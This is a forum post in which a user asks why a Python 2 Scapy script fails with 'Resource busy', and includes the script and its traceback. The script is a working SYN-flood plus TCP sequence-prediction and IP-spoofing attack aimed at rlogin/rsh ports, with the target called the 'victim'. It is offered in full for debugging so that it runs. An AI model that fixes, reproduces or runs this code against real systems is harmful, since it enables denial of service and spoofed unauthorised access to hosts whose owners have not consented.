clouds_n_things 13 Junior Poster in Training

I'm working on re-writing a 2 decade old python program, but I'm hitting a 'resource busy' error when executing. Does anybody have any ideas? The program is below, and the output is below that. Thanks!

from scapy.all import * 
import optparse 

print "\n--Example format is -s (controller IP: 172.0.0.0), -S(spoof 172.6.5.12) & -t(target(--victim--)\n--"

def synFloodGate(src, tgt):
    #this function sends TCP SYN's to exhaust the resources of the target, 
    #filling up its connection queue and silencing the ability to send TCP-Reset packets
    for sport in range(1024, 65535):
        IPlayer = IP(src=src, dst=tgt)
        TCPlayer = TCP(sport=sport, dport=513)
        pkt = IPlayer / TCPlayer 
        send(pkt)


def calTSN(tgt):
    #targets IP address and returns ACK numbers [sequence] 
    seqNum = 0 
    preNum = 0 
    diffSeq = 0 
    try:
        for xray in range(1,5):
            if preNum != 0:
                preNum = seqNum 
            pkt = IP(dst=tgt) / TCP() 
            ans = sr1(pkt, verbose=0) 
            seqNum = ans.getlayer(TCP).seq
            diffSeq = seqNum - preNum 
            print '[+] TCP Seq Difference: ' + str(diffSeq) 
        return seqNum + diffSeq 
    except OSError, e:
        print str(e) 
        exit(0) 

def spoofConnection(src, tgt, ack):
    # spoofs the IP connection 
    IPlayer = IP(src=src, dst=tgt) 
    TCPlayer = TCP(sport=513, dport=514)
    synPkt = IPlayer / TCPlayer 
    send(synPkt)
    IPlayer = IP(src=src, dst=tgt)
    TCPlayer = TCP(sport=513, dport=514, ack=ack)
    ackPkt = IPlayer / TCPlayer 
    send(ackPkt) 


def main():
    parser = optparse.OptionParser('usage%program ' + '-s<src for SYNGATE Flood> -S<src for  spoofed connection>' + 
                                    ' -t<target address>') 
    parser.add_option('-s', dest="synSpoof", type="string", help="specify src for SYN Flood") 
    parser.add_option('-S', dest="srcSpoof", type="string", help="specify src for spoofed conenction") 
    parser.add_option('-t', dest="tgt", type="string", help="specify target address") 
    (options, args) = parser.parse_args() 
    if options.synSpoof == None or options.srcSpoof == None or options.tgt == None:
        print parser.usage
        print "\nNow Exiting the FloodGate"
        exit(0) 
    else:
        synSpoof = options.synSpoof
        srcSpoof = options.srcSpoof
        tgt = options.tgt 
    print "[+] Starting SYN FloodGate to suppress remote server."
    synFloodGate(synSpoof, srcSpoof)
    print '[+] Calculating correct TCP Sequence Number.'
    seqNum = calTSN(tgt) + 1 
    print '[+] Spoofing Connection...'
    spoofConnection(srcSpoof, tgt, seqNum)
    print '[+] Complete!'

if __name__ == "__main__":
    main() 



File "syn_floodgate.py", line 75, in <module>
    main() 
  File "syn_floodgate.py", line 67, in main
    synFloodGate(synSpoof, srcSpoof)
  File "syn_floodgate.py", line 17, in synFloodGate
    send(pkt)
  File "build/bdist.macosx-10.8-intel/egg/scapy/sendrecv.py", line 247, in send
  File "build/bdist.macosx-10.8-intel/egg/scapy/sendrecv.py", line 230, in __gen_send
  File "build/bdist.macosx-10.8-intel/egg/scapy/arch/pcapdnet.py", line 234, in send
  File "dnet.pyx", line 112, in dnet.eth.__init__
OSError: Resource busy